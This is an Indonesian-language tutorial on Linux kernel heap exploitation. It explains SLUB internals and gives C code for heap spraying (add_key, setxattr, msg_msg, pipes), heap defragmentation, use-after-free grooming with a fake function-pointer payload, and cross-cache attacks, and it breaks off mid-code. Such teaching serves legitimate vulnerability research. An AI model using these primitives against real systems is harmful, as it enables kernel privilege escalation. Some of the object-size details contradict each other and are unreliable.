Mengapa Heap Manipulation Kritis?
Sebagian besar kerentanan kernel modern (UAF, OOB read/write, double-free) memerlukan kendali atas layout heap untuk dieksploitasi secara reliabel. Tanpa kontrol atas heap, attacker hanya punya bug — belum tentu punya exploit.
Di Linux kernel, slab allocator (SLUB) adalah lapisan yang mengatur alokasi objek kernel. Heap spray dan grooming adalah dua teknik fundamental yang digunakan untuk:
- Heap Spray — mengisi heap dengan objek yang kita kendalikan agar objek kita menempati slot yang dibebaskan oleh objek vulnerable.
- Heap Grooming — merapikan layout heap secara deterministik agar objek vulnerable dan objek target berada bersebelahan atau overlapping.
Materi ini disediakan untuk keperluan riset keamanan, pengembangan kurikulum, dan vulnerability research yang sah. Gunakan hanya di lingkungan yang Anda miliki izinnya (lab VM, QEMU, atau sistem dengan otorisasi eksplisit).
Alokasi massal objek dengan konten yang dikendalikan attacker. Tujuan: mendominasi freelist sehingga alokasi kernel berikutnya mengembalikan objek kita.
Manipulasi deterministik layout heap. Tujuan: menempatkan objek target tepat di samping (atau menimpa) objek vulnerable dengan presisi tinggi.
SLUB Internals
SLUB (Unqueued Slab Allocator) adalah slab allocator default di Linux sejak 2.6.22. Memahami cara kerjanya adalah prasyarat mutlak untuk heap exploitation.
Struktur Hierarki
kmem_cache (per-type cache, e.g. "kmalloc-256")
├── kmem_cache_cpu (per-CPU, hot path alokasi)
│ ├── freelist → pointer ke objek free pertama
│ ├── page → slab aktif saat ini
│ └── partial → list slab sebagian penuh (per-CPU)
│
└── kmem_cache_node (per-NUMA node)
├── partial → list slab sebagian penuh (per-node)
└── nr_partial → jumlah slab di partial list
Alur Alokasi SLUB (kmalloc)
Fast Path — Per-CPU Freelist
Cek kmem_cache_cpu.freelist. Jika ada, ambil objek pertama dengan operasi atomik. Sangat cepat, tidak perlu lock.
Slow Path — Slab Partial List
Freelist habis. Ambil slab dari partial list (per-CPU, lalu per-node). Set sebagai slab aktif baru.
New Slab Allocation
Tidak ada slab partial. Alokasikan slab baru dari page allocator (alloc_pages), inisialisasi freelist-nya.
Struktur Slab Objek
Tiap objek dalam slab memiliki layout:
┌─────────────────────────────────────────────┐
│ [ Object Data .... ] [ next ptr (if free) ] │ ← ukuran = cache->size
└─────────────────────────────────────────────┘
↑
freelist chaining: pointer ke
objek free berikutnya (atau NULL)
Bisa di head ATAU di offset tertentu
(CONFIG_SLAB_FREELIST_HARDENED → XOR obfuscated)
Sejak kernel 5.x+, pointer freelist di-XOR dengan kmem_cache.random (seed per-cache) dan alamat slot-nya sendiri. Ini mencegah eksploitasi freelist pointer langsung. Bypass memerlukan info leak terpisah.
kmalloc Size Classes
| Cache Name | Ukuran Objek | Relevan Untuk |
|---|---|---|
kmalloc-8 | 8 bytes | Objek sangat kecil |
kmalloc-16 | 16 bytes | Small structs |
kmalloc-32 | 32 bytes | seq_file, dll |
kmalloc-64 | 64 bytes | cred, files_struct partial |
kmalloc-96 | 96 bytes | — |
kmalloc-128 | 128 bytes | — |
kmalloc-192 | 192 bytes | — |
kmalloc-256 | 256 bytes | msg_msg header, pipe_buffer |
kmalloc-512 | 512 bytes | — |
kmalloc-1k | 1024 bytes | — |
kmalloc-2k | 2048 bytes | msg_msg body besar |
kmalloc-4k | 4096 bytes | — |
Gunakan cat /proc/slabinfo atau sudo slabtop untuk melihat state cache secara real-time. Debug dengan CONFIG_SLUB_DEBUG=y di kernel.
Slab Cache Target Mapping
Langkah pertama exploit: tentukan cache mana yang mengandung objek vulnerable, lalu cari objek lain di cache yang sama untuk dijadikan spray object.
Tool: Menentukan Cache dari Ukuran
/* * Menentukan kmalloc cache class dari ukuran alokasi. * Sama dengan logika kernel kmalloc_index(). */ #include <stdio.h> #include <stddef.h> static size_t kmalloc_cache_size(size_t size) { if (size <= 8) return 8; if (size <= 16) return 16; if (size <= 32) return 32; if (size <= 64) return 64; if (size <= 96) return 96; if (size <= 128) return 128; if (size <= 192) return 192; if (size <= 256) return 256; if (size <= 512) return 512; if (size <= 1024) return 1024; if (size <= 2048) return 2048; if (size <= 4096) return 4096; return 0; /* order allocation */ } int main() { size_t sizes[] = {40, 80, 200, 300, 520}; for (int i = 0; i < 5; i++) { printf("sizeof=%zu → kmalloc-%zu\n", sizes[i], kmalloc_cache_size(sizes[i])); } return 0; } /* Output: sizeof=40 → kmalloc-64 sizeof=80 → kmalloc-96 sizeof=200 → kmalloc-256 sizeof=300 → kmalloc-512 sizeof=520 → kmalloc-1k */
Objek Kernel Berguna untuk Spray (per Cache)
| Cache | Objek Spray | Syscall | Kontrol Konten |
|---|---|---|---|
kmalloc-32 | seq_operations | open(/proc/self/stat) | Partial (via race) |
kmalloc-64 | user_key_payload | add_key() | ✅ Full |
kmalloc-64 | simple_xattr | setxattr() | ✅ Full |
kmalloc-96 | inotify_inode_mark | inotify_add_watch() | Partial |
kmalloc-256 | msg_msg (header) | msgsnd() | ✅ Full |
kmalloc-512 | pipe_buffer | pipe() | ✅ Full (via splice) |
kmalloc-1k | subprocess_info | Modprobe path | Indirect |
| Any | user_key_payload | add_key() | ✅ Full (variable size) |
| Any | setxattr data | setxattr() | ✅ Full (variable size) |
Konsep Heap Spray
Heap spray adalah teknik di mana attacker mengalokasikan sejumlah besar objek berisi data yang dikendalikan, dengan tujuan meningkatkan probabilitas bahwa salah satu objek tersebut menempati slot memori yang diinginkan.
Visualisasi: Sebelum vs Sesudah Spray
Kondisi Sukses Heap Spray
- Ukuran spray object = ukuran objek vulnerable (same cache class)
- Volume spray cukup besar untuk mendominasi freelist slab
- Tidak ada alokasi kernel lain yang "mencuri" slot sebelum kita
- Timing tepat (penting untuk race-condition bug)
Kernel 6.x dengan CONFIG_SLAB_FREELIST_RANDOM=y mengacak urutan freelist saat slab baru dibuat. Ini tidak mencegah heap spray, tapi mempersulit prediksi urutan alokasi. Spray dalam jumlah besar tetap efektif.
Primitif Alokasi Userspace
Primitif adalah syscall atau operasi yang memungkinkan kita mengalokasikan objek kernel dengan ukuran dan konten yang bisa kita kendalikan.
1. add_key() — user_key_payload
Salah satu primitif paling serbaguna. Ukuran fleksibel, konten penuh dapat dikontrol.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> /* * user_key_payload layout (include/linux/key.h): * struct user_key_payload { * struct rcu_head rcu; // 16 bytes * unsigned short datalen; // 2 bytes * char data[]; // variable * }; * Total header = 18 bytes, dikembalikan ke kmalloc-XX tergantung size. * * Ukuran alokasi kernel = sizeof(user_key_payload) + datalen * = 18 + datalen * Jadi untuk target kmalloc-256: datalen = 256 - 18 = 238 bytes */ #define KEY_PAYLOAD_HDR 18 #define TARGET_CACHE 256 #define DATA_LEN (TARGET_CACHE - KEY_PAYLOAD_HDR) #define N_SPRAY 1024 key_serial_t spray_keys[N_SPRAY]; void spray_keys_alloc(const char *payload, size_t payload_len) { char desc[32]; for (int i = 0; i < N_SPRAY; i++) { snprintf(desc, sizeof(desc), "spray_%d", i); spray_keys[i] = add_key("user", desc, payload, payload_len, KEY_SPEC_PROCESS_KEYRING); if (spray_keys[i] < 0) { perror("add_key"); exit(1); } } printf("[+] Sprayed %d keys × %zu bytes (kmalloc-%d)\n", N_SPRAY, payload_len + KEY_PAYLOAD_HDR, TARGET_CACHE); } void spray_keys_free(int start, int end) { for (int i = start; i < end; i++) { keyctl(KEYCTL_REVOKE, spray_keys[i]); keyctl(KEYCTL_UNLINK, spray_keys[i], KEY_SPEC_PROCESS_KEYRING); } printf("[+] Freed keys [%d..%d)\n", start, end); } int main() { /* Isi payload dengan pola untuk identifikasi di GDB */ char payload[DATA_LEN]; memset(payload, 0x41, sizeof(payload)); /* 'A' × DATA_LEN */ spray_keys_alloc(payload, DATA_LEN); /* ──── Di sini: trigger bug / interaksi dengan objek vulnerable ──── */ /* Cleanup */ spray_keys_free(0, N_SPRAY); return 0; } /* Compile: gcc -o spray_key spray_key.c -lkeyutils */
2. setxattr() — xattr data
Primitif klasik, tersedia tanpa privilege. Data langsung dikontrol, tapi objek dibebaskan saat syscall selesai kecuali ditahan dengan race condition (userfaultfd).
#include <sys/xattr.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * setxattr() mengalokasikan kvmalloc(size, GFP_KERNEL) secara internal * di security/integrity/evm/evm_main.c dan vfs_setxattr. * Data berada di kernel hanya selama syscall berlangsung. * * Teknik: gunakan bersama userfaultfd untuk "pause" di tengah syscall * sehingga alokasi tetap hidup. Lihat bagian userfaultfd. */ #define SPRAY_SIZE 256 /* target kmalloc-256 */ #define N_SPRAY 512 static char tmpfile[64]; void xattr_spray_one(void *buf, size_t size) { if (setxattr(tmpfile, "user.spray", buf, size, 0) < 0) { perror("setxattr"); } } int setup_tmpfile() { snprintf(tmpfile, sizeof(tmpfile), "/tmp/xattr_spray_%d", getpid()); int fd = open(tmpfile, O_CREAT | O_RDWR, 0600); if (fd < 0) { perror("open"); exit(1); } close(fd); return fd; } int main() { setup_tmpfile(); char buf[SPRAY_SIZE]; memset(buf, 0x42, sizeof(buf)); for (int i = 0; i < N_SPRAY; i++) { xattr_spray_one(buf, SPRAY_SIZE); } printf("[+] xattr spray selesai (%d iterasi)\n", N_SPRAY); unlink(tmpfile); return 0; } /* Compile: gcc -o spray_xattr spray_xattr.c */
3. msgsnd() — msg_msg
Primitif sangat kuat karena data bertahan di kernel sampai msgrcv(). Struktur msg_msg terdiri dari header (kmalloc-64) dan body (ukuran variabel).
#include <sys/ipc.h> #include <sys/msg.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> /* * msg_msg layout (include/linux/msg.h): * * struct msg_msg { * struct list_head m_list; // 16 bytes ← list_head prev/next * long m_type; // 8 bytes * size_t m_ts; // 8 bytes (message text size) * struct msg_msgseg *next; // 8 bytes ← ptr ke segmen berikut * void *security; // 8 bytes * }; // total = 48 bytes → kmalloc-64 * * Data pesan langsung setelah header struct msg_msg. * Ukuran total alokasi pertama = sizeof(msg_msg) + min(mtext_len, 4032) * * Untuk mengontrol isi TEPAT setelah header (offset 48): * kirim pesan dengan mtext[0..N] yang diisi data kita. * * CATATAN: m_list.next/prev adalah pointer ke objek msg_msg lain * (atau ke queue head). Ini bisa dijadikan primitif INFOLEAK! */ #define MSG_BODY_SIZE (256 - 48) /* body di kmalloc-256, minus header */ #define N_QUEUES 8 #define N_MSGS 64 struct spray_msg { long mtype; char mtext[MSG_BODY_SIZE]; }; int mqids[N_QUEUES]; /* Layout kontrol penuh: isi mtext dengan data kita */ void build_fake_msg(struct spray_msg *m, unsigned long fake_next, unsigned long fake_security, char fill) { m->mtype = 1; memset(m->mtext, fill, sizeof(m->mtext)); /* Jika kita mau overwrite next/security dari objek sebelumnya * (via OOB write), kita set nilai di sini agar spray mengisi * dengan nilai yang kita inginkan. */ unsigned long *p = (unsigned long *)m->mtext; p[0] = fake_next; /* akan overlay m_list.next objek prev */ p[1] = fake_security; /* akan overlay m_list.prev */ } void msg_spray() { /* Buat multiple queue untuk isolasi */ for (int q = 0; q < N_QUEUES; q++) { mqids[q] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (mqids[q] < 0) { perror("msgget"); exit(1); } struct spray_msg m; build_fake_msg(&m, 0, 0, 0x41); for (int i = 0; i < N_MSGS; i++) { if (msgsnd(mqids[q], &m, MSG_BODY_SIZE, 0) < 0) { perror("msgsnd"); exit(1); } } } printf("[+] msg_msg spray: %d queues × %d msgs = %d allocs\n", N_QUEUES, N_MSGS, N_QUEUES * N_MSGS); } void msg_free_all() { for (int q = 0; q < N_QUEUES; q++) { msgctl(mqids[q], IPC_RMID, NULL); } } int main() { msg_spray(); /* .... trigger bug .... */ msg_free_all(); return 0; } /* Compile: gcc -o spray_msg spray_msg.c */
Implementasi Spray Library
Berikut adalah modul spray yang reusable, mencakup multiple primitif:
#pragma once #include <stddef.h> #include <stdint.h> #include <sys/types.h> /* ═══════════════════════════════════════════════════════════ * spray_lib.h — Linux Kernel Heap Spray Primitives * Tested: Linux 6.1 – 6.19, x86_64 * ═══════════════════════════════════════════════════════════ */ #define SPRAY_MAX 4096 /* ─── Key spray context ─── */ typedef struct { int *fds; int n; size_t obj_size; } spray_ctx_t; /* Alokasi N objek user_key_payload ukuran target_size di kmalloc-X */ int spray_key_alloc(spray_ctx_t *ctx, size_t target_size, const void *payload, int count); void spray_key_free(spray_ctx_t *ctx, int start, int end); void spray_key_free_all(spray_ctx_t *ctx); /* Alokasi N msg_msg ke queue */ int spray_msg_alloc(spray_ctx_t *ctx, size_t body_size, const void *payload, int nqueues, int nmsgs); void spray_msg_free_all(spray_ctx_t *ctx); /* Pipe buffer spray */ int spray_pipe_alloc(spray_ctx_t *ctx, int n_pipes); void spray_pipe_free_all(spray_ctx_t *ctx);
#include "spray_lib.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <keyutils.h> #include <sys/ipc.h> #include <sys/msg.h> #define KEY_HDR_SZ 18 /* sizeof(user_key_payload) tanpa data[] */ /* ────────────────────── KEY SPRAY ────────────────────── */ int spray_key_alloc(spray_ctx_t *ctx, size_t target_size, const void *payload, int count) { size_t data_len = target_size - KEY_HDR_SZ; if (target_size < KEY_HDR_SZ || count > SPRAY_MAX) return -1; ctx->fds = calloc(count, sizeof(int)); ctx->n = count; ctx->obj_size = target_size; char desc[32]; for (int i = 0; i < count; i++) { snprintf(desc, sizeof(desc), "sk_%d_%d", getpid(), i); ctx->fds[i] = (int)add_key("user", desc, payload, data_len, KEY_SPEC_PROCESS_KEYRING); if (ctx->fds[i] < 0) { perror("add_key"); return -1; } } printf("[spray] key: %d × kmalloc-%zu\n", count, target_size); return 0; } void spray_key_free(spray_ctx_t *ctx, int start, int end) { for (int i = start; i < end && i < ctx->n; i++) { if (ctx->fds[i] > 0) { keyctl(KEYCTL_REVOKE, ctx->fds[i]); keyctl(KEYCTL_UNLINK, ctx->fds[i], KEY_SPEC_PROCESS_KEYRING); ctx->fds[i] = -1; } } } void spray_key_free_all(spray_ctx_t *ctx) { spray_key_free(ctx, 0, ctx->n); free(ctx->fds); ctx->fds = NULL; ctx->n = 0; } /* ─────────────────────── MSG SPRAY ──────────────────────── */ typedef struct { long mtype; char mtext[4096]; } msg_buf_t; int spray_msg_alloc(spray_ctx_t *ctx, size_t body_size, const void *payload, int nqueues, int nmsgs) { ctx->fds = calloc(nqueues, sizeof(int)); ctx->n = nqueues; msg_buf_t m; m.mtype = 1; memset(m.mtext, 0x41, sizeof(m.mtext)); if (payload && body_size <= sizeof(m.mtext)) memcpy(m.mtext, payload, body_size); for (int q = 0; q < nqueues; q++) { ctx->fds[q] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (ctx->fds[q] < 0) { perror("msgget"); return -1; } for (int i = 0; i < nmsgs; i++) { if (msgsnd(ctx->fds[q], &m, body_size, 0) < 0) { perror("msgsnd"); return -1; } } } printf("[spray] msg_msg: %d queues × %d msgs × body=%zu\n", nqueues, nmsgs, body_size); return 0; } void spray_msg_free_all(spray_ctx_t *ctx) { for (int i = 0; i < ctx->n; i++) if (ctx->fds[i] > 0) msgctl(ctx->fds[i], IPC_RMID, NULL); free(ctx->fds); ctx->fds = NULL; ctx->n = 0; } /* ─────────────────────── PIPE SPRAY ─────────────────────── */ int spray_pipe_alloc(spray_ctx_t *ctx, int n_pipes) { /* Setiap pipe mengalokasikan pipe_inode_info + pipe_buffer array. * Default: 16 pages = 16 × pipe_buffer = 16 × 40 bytes ≈ kmalloc-1k */ ctx->fds = calloc(n_pipes * 2, sizeof(int)); ctx->n = n_pipes; for (int i = 0; i < n_pipes; i++) { int fds[2]; if (pipe(fds) < 0) { perror("pipe"); return -1; } ctx->fds[i * 2] = fds[0]; /* read */ ctx->fds[i * 2 + 1] = fds[1]; /* write */ /* Tulis 1 byte agar pipe buffer ter-allocated penuh */ write(fds[1], "A", 1); } printf("[spray] pipe: %d pipes allocated\n", n_pipes); return 0; } void spray_pipe_free_all(spray_ctx_t *ctx) { for (int i = 0; i < ctx->n * 2; i++) if (ctx->fds[i] > 0) close(ctx->fds[i]); free(ctx->fds); ctx->fds = NULL; ctx->n = 0; }
Konsep Heap Grooming
Grooming adalah teknik yang lebih deterministik dari spray. Tujuannya bukan sekadar mendominasi heap secara acak, tapi mengatur layout memori secara presisi agar:
- Objek vulnerable bersebelahan dengan objek yang kita kontrol (adjacency exploit)
- Setelah free, slot yang dibebaskan langsung diisi oleh objek kita (reclaim exploit)
- Dua objek berbeda type berada di offset yang kita prediksi (type confusion exploit)
Teknik Grooming Umum
┌─── Fase 1: Spray awal ──────────────────────────────────┐
│ Alokasikan banyak objek untuk mengisi partial slabs │
│ dan memaksa kernel membuat slab-slab baru yang bersih │
└────────────────────────────────────────────────────────┘
↓
┌─── Fase 2: Buat "lubang" ───────────────────────────────┐
│ Bebaskan sebagian objek spray secara teratur │
│ (misal: freed setiap-2: F A F A F A F A) │
│ atau freed sebuah blok besar di tengah. │
└────────────────────────────────────────────────────────┘
↓
┌─── Fase 3: Trigger alokasi vulnerable ──────────────────┐
│ Biarkan kernel atau kita mengalokasikan objek │
│ vulnerable — ia akan mengisi "lubang" yang kita buat │
└────────────────────────────────────────────────────────┘
↓
┌─── Fase 4: Trigger alokasi controlled ─────────────────┐
│ Alokasikan objek spray yang bersebelahan │
│ Objek ini berada adjacent dengan objek vulnerable │
└────────────────────────────────────────────────────────┘
Jenis-jenis Layout Target
Vuln obj dan target obj berada bersebelahan di slab. OOB write dari vuln menjangkau header target.
Vuln obj dibebaskan (UAF). Kita spray objek yang ukurannya sama agar masuk ke slot yang sama persis.
Dua objek berbeda type berbagi slab sama. Manipulasi freelist membuat satu type "melihat" data type lain.
Vuln obj ada di dedicated cache, target di kmalloc. Butuh page-level grooming untuk adjacency antar-cache.
Defragmentasi Heap
Sebelum grooming bisa akurat, heap harus dalam keadaan "bersih" — tidak ada partial slab berserakan. Defragmentasi dilakukan dengan mengisi semua partial slab yang ada.
Algoritma Defragmentasi
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <keyutils.h> #include <unistd.h> /* * Defragmentasi heap untuk kmalloc-X: * * 1. Hitung berapa slot per slab: * slots_per_slab = PAGE_SIZE * (2^order) / obj_size * Untuk kmalloc-256, order=1 (8192 bytes): * slots = 8192 / 256 = 32 slot per slab * * 2. Alokasikan sejumlah besar objek (lebih dari slots_per_slab × beberapa) * untuk memastikan semua partial slab terisi penuh. * * 3. Bebaskan SEMUA objek tersebut. * Sekarang slab-slab menjadi kosong dan dikembalikan ke page allocator, * atau tetap sebagai full-empty slab. * * 4. Alokasikan lagi sejumlah N objek. * Kernel akan membuat slab baru yang bersih dan teratur. */ #define TARGET_CACHE_SZ 256 #define SLOTS_PER_SLAB 32 /* untuk kmalloc-256 */ #define N_SLABS_FILL 20 /* isi ~20 slab untuk defrag */ #define DEFRAG_COUNT (SLOTS_PER_SLAB * N_SLABS_FILL) #define KEY_HDR 18 #define KEY_DATA_LEN (TARGET_CACHE_SZ - KEY_HDR) static int defrag_keys[DEFRAG_COUNT]; void heap_defrag() { char data[KEY_DATA_LEN]; memset(data, 0xde, sizeof(data)); printf("[defrag] Mengisi %d partial slabs...\n", N_SLABS_FILL); /* Fase 1: Alokasikan banyak objek untuk mengisi semua partial slab */ char desc[32]; for (int i = 0; i < DEFRAG_COUNT; i++) { snprintf(desc, sizeof(desc), "df_%d", i); defrag_keys[i] = (int)add_key("user", desc, data, KEY_DATA_LEN, KEY_SPEC_PROCESS_KEYRING); } /* Fase 2: Bebaskan semua — slab menjadi kosong / kembali ke page allocator */ for (int i = 0; i < DEFRAG_COUNT; i++) { if (defrag_keys[i] > 0) { keyctl(KEYCTL_REVOKE, defrag_keys[i]); keyctl(KEYCTL_UNLINK, defrag_keys[i], KEY_SPEC_PROCESS_KEYRING); } } printf("[defrag] Selesai. Heap kmalloc-%d sekarang bersih.\n", TARGET_CACHE_SZ); } int main() { heap_defrag(); /* Sekarang lanjutkan dengan grooming yang presisi */ printf("[+] Heap dalam kondisi bersih, siap untuk grooming.\n"); return 0; }
Implementasi Grooming
Teknik grooming untuk UAF: setelah objek vulnerable dibebaskan, kita "reclaim" slot-nya dengan objek yang kita kontrol.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <keyutils.h> #include <sys/ipc.h> #include <sys/msg.h> /* * Skenario: UAF pada objek ukuran 256 bytes (kmalloc-256). * Objek vulnerable adalah "vuln_obj" yang punya method pointer * atau data sensitif di offset 0x18. * * Goal: Setelah vuln_obj dibebaskan, isi slot-nya dengan msg_msg * yang berisi fake function pointer / cred pointer. * * Layout yang kita inginkan: * * [slab page] * slot 0: [msg_msg A] ← kita kontrol * slot 1: [vuln_obj ] ← objek yang nanti di-free * slot 2: [msg_msg B] ← reclaim setelah free * slot 3: [msg_msg C] ← padding */ #define OBJ_SIZE 256 #define MSG_BODY (OBJ_SIZE - 48) /* 48 = sizeof(msg_msg) */ #define PHASE1_N 512 /* Spray awal */ #define PHASE2_HOLD 256 /* Yang ditahan untuk buat lubang */ #define PHASE3_N 64 /* Reclaim setelah UAF */ typedef struct { long mtype; char mtext[MSG_BODY]; } msgbuf_t; static int phase1_qids[PHASE1_N]; static int phase3_qids[PHASE3_N]; /* Bangun payload msg_msg yang mengandung fake vtable pointer */ static void build_payload(msgbuf_t *m, unsigned long fake_fn) { m->mtype = 1; memset(m->mtext, 0x00, MSG_BODY); /* * Jika target objek memiliki vtable pointer di offset 0x18 dari awal, * dan sizeof(msg_msg header) = 48, maka: * offset dari mtext = 0x18 - sizeof(msg_msg_hdr) * = 24 - 48 = -24 (NEGATIF) * * Artinya pointer ada di msg_msg HEADER, bukan body. * Ini tergantung layout objek vulnerable spesifik. * Jika offset > 48: ((unsigned long*)m->mtext)[offset/8 - 6] = fake_fn; * * Contoh: target vtable di offset 0x40 = 64 bytes dari awal: * body_offset = 64 - 48 = 16 bytes dari mtext[0] */ unsigned long *ptrs = (unsigned long *)m->mtext; ptrs[2] = fake_fn; /* offset 16 dari body = offset 64 dari objek */ } /* Tahap 1: Spray untuk mengisi/defrag heap */ static void phase1_spray() { msgbuf_t m; m.mtype = 1; memset(m.mtext, 0x41, MSG_BODY); for (int i = 0; i < PHASE1_N; i++) { phase1_qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); msgsnd(phase1_qids[i], &m, MSG_BODY, 0); } printf("[+] Phase 1: %d objek di-spray\n", PHASE1_N); } /* Tahap 2: Buat lubang — bebaskan separuh, sisakan separuh */ static void phase2_make_holes() { /* Bebaskan setiap-2 untuk membuat pola seperti: A _ A _ A _ */ for (int i = 0; i < PHASE1_N; i += 2) { msgctl(phase1_qids[i], IPC_RMID, NULL); phase1_qids[i] = -1; } printf("[+] Phase 2: Lubang dibuat (freed setiap-2)\n"); } /* Tahap 3 (awal): Trigger alokasi objek vulnerable * (syscall atau path spesifik sesuai bug) * Objek vulnerable mengisi salah satu lubang */ static void phase3a_trigger_alloc() { printf("[+] Phase 3a: Trigger alokasi objek vulnerable\n"); /* ← implementasi bug-spesifik di sini */ } /* Tahap 3 (tengah): Trigger FREE objek vulnerable (UAF/double-free) */ static void phase3b_trigger_free() { printf("[+] Phase 3b: Trigger free objek vulnerable\n"); /* ← implementasi bug-spesifik di sini */ } /* Tahap 3 (akhir): Reclaim slot dengan spray objek kita */ static void phase3c_reclaim(unsigned long fake_fn_ptr) { msgbuf_t m; build_payload(&m, fake_fn_ptr); for (int i = 0; i < PHASE3_N; i++) { phase3_qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); msgsnd(phase3_qids[i], &m, MSG_BODY, 0); } printf("[+] Phase 3c: %d reclaim objek di-alokasikan\n", PHASE3_N); printf("[+] Slot vuln_obj kemungkinan besar diisi objek kita.\n"); } int main() { printf("=== UAF Grooming Demo (kmalloc-%d) ===\n", OBJ_SIZE); phase1_spray(); phase2_make_holes(); phase3a_trigger_alloc(); /* vuln_obj masuk ke lubang */ phase3b_trigger_free(); /* vuln_obj dibebaskan (bug) */ phase3c_reclaim(0xdeadbeefcafe0000UL); /* fake ptr untuk demo */ /* Tahap 4: Trigger akses ke objek via dangling pointer * Jika grooming berhasil, kernel akan dereference payload kita */ printf("[+] Trigger UAF access...\n"); /* ← implementasi spesifik */ return 0; } /* gcc -o groom_uaf groom_uaf.c -lkeyutils */
Cross-Cache Attack
Cross-cache attack digunakan ketika objek vulnerable berada di dedicated slab cache (bukan kmalloc-generic), dan target yang ingin kita overlap berada di cache berbeda. Teknik ini beroperasi di level page allocator, bukan slab allocator.
CVE-2022-29582 (io_uring), CVE-2022-2602, dan banyak bug ksmbd terbaru memerlukan cross-cache karena objek ada di dedicated cache seperti io_kiocb atau smb2_hdr.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <keyutils.h> /* * Cross-cache grooming strategy (SLUB order-0 cache): * * Langkah: * 1. Spray objek dari dedicated cache (trigger banyak alloc di target cache) * → Paksa kernel mengambil banyak halaman order-0 dari page allocator * 2. Free SEMUA objek di dedicated cache * → Semua halaman kembali ke page allocator (buddy system) * 3. Kita ambil halaman-halaman tsb dari sisi lain dengan kmalloc-generic * → Halaman yang SAMA sekarang digunakan oleh cache berbeda * 4. Trigger satu alokasi lagi di dedicated cache * → Ia mengambil halaman baru yang BERDEKATAN dengan halaman kita * * Implementasi dengan mmap sebagai "page holder": */ #define PAGE_SZ 4096 #define N_PAGES_HOLD 256 /* pegang 256 pages */ #define KEY_OBJ_SZ 64 /* target kmalloc-64 */ #define KEY_DATA_SZ (KEY_OBJ_SZ - 18) #define OBJS_PER_PAGE (PAGE_SZ / KEY_OBJ_SZ) /* =64 */ #define N_EXHAUST (N_PAGES_HOLD * OBJS_PER_PAGE) static int exhaust_keys[N_EXHAUST]; static void *page_holders[N_PAGES_HOLD]; /* Exhaust page allocator order-0 pool untuk kmalloc-64 */ void exhaust_cache() { char data[KEY_DATA_SZ]; memset(data, 0xcc, sizeof(data)); char desc[32]; printf("[cross] Exhausting kmalloc-64 (%d objek)...\n", N_EXHAUST); for (int i = 0; i < N_EXHAUST; i++) { snprintf(desc, sizeof(desc), "cc_%d", i); exhaust_keys[i] = (int)add_key("user", desc, data, KEY_DATA_SZ, KEY_SPEC_PROCESS_KEYRING); } } /* Bebaskan semua — halaman kembali ke buddy */ void release_cache() { printf("[cross] Membebaskan semua objek...\n"); for (int i = 0; i < N_EXHAUST; i++) { if (exhaust_keys[i] > 0) { keyctl(KEYCTL_REVOKE, exhaust_keys[i]); keyctl(KEYCTL_UNLINK, exhaust_keys[i], KEY_SPEC_PROCESS_KEYRING); } } } /* Ambil halaman dari page allocator dengan mmap (page holder) */ void claim_pages() { printf("[cross] Mengklaim %d halaman dengan mmap...\n", N_PAGES_HOLD); for (int i = 0; i < N_PAGES_HOLD; i++) { page_holders[i] = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page_holders[i] == MAP_FAILED) { perror("mmap"); exit(1); } /* Fault page in agar benar-benar dialokasikan */ *((volatile char *)page_holders[i]) = 1; } } /* Lepas beberapa page holder untuk memberi ruang dedicated cache */ void release_pages(int start, int end) { for (int i = start; i < end; i++) { if (page_holders[i] != MAP_FAILED) { munmap(page_holders[i], PAGE_SZ); page_holders[i] = MAP_FAILED; } } printf("[cross] Released pages [%d..%d)\n", start, end); } int main() { printf("=== Cross-Cache Attack Demo ===\n"); /* Step 1: Habiskan semua halaman yang digunakan dedicated cache */ exhaust_cache(); /* Step 2: Bebaskan semua → halaman kembali ke buddy */ release_cache(); /* Step 3: Langsung klaim halaman tersebut */ claim_pages(); /* Step 4: Trigger 1 alokasi di dedicated cache * (target cache harus mengambil halaman baru yang berdekatan * dengan halaman kita) */ printf("[cross] Trigger alokasi dedicated cache...\n"); /* ← bug-specific trigger */ /* Step 5: Lepaskan satu page holder untuk create adjacency */ release_pages(128, 129); /* Step 6: Trigger alokasi kedua di dedicated cache * → mengisi page yang baru saja kita lepas */ printf("[cross] Objek vulnerable sekarang berdekatan dengan page kita!\n"); return 0; } /* gcc -o cross_cache cross_cache.c -lkeyutils */
Elastic Object Technique
Elastic object adalah teknik di mana kita menggunakan objek dengan ukuran variabel (seperti user_key_payload atau msg_msg) untuk mengisi berbagai ukuran slab cache tergantung kebutuhan exploit.
Mapping Ukuran ke Cache
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <keyutils.h> /* * Elastic Object menggunakan user_key_payload. * Ukuran kernel alloc = 18 + datalen * * Mapping: * Target kmalloc-32: datalen = 32 - 18 = 14 * Target kmalloc-64: datalen = 64 - 18 = 46 * Target kmalloc-96: datalen = 96 - 18 = 78 * Target kmalloc-128: datalen = 128 - 18 = 110 * Target kmalloc-192: datalen = 192 - 18 = 174 * Target kmalloc-256: datalen = 256 - 18 = 238 * Target kmalloc-512: datalen = 512 - 18 = 494 * Target kmalloc-1k: datalen =1024 - 18 =1006 */ #define KEY_HDR_SZ 18 typedef struct { size_t target_cache; size_t data_len; } elastic_cfg_t; static elastic_cfg_t elastic_cfg_for(size_t target) { elastic_cfg_t cfg; cfg.target_cache = target; cfg.data_len = target - KEY_HDR_SZ; return cfg; } #define MAX_ELASTIC 2048 static int elastic_keys[MAX_ELASTIC]; static int elastic_n = 0; /* Spray elastic objects ke target cache dengan payload tertentu */ int elastic_spray(size_t target_cache, const void *payload, size_t payload_len, int count) { elastic_cfg_t cfg = elastic_cfg_for(target_cache); if (payload_len > cfg.data_len) { fprintf(stderr, "[!] payload_len %zu > data_len %zu\n", payload_len, cfg.data_len); return -1; } /* Buat buffer data_len penuh, isi dengan payload di awal */ char 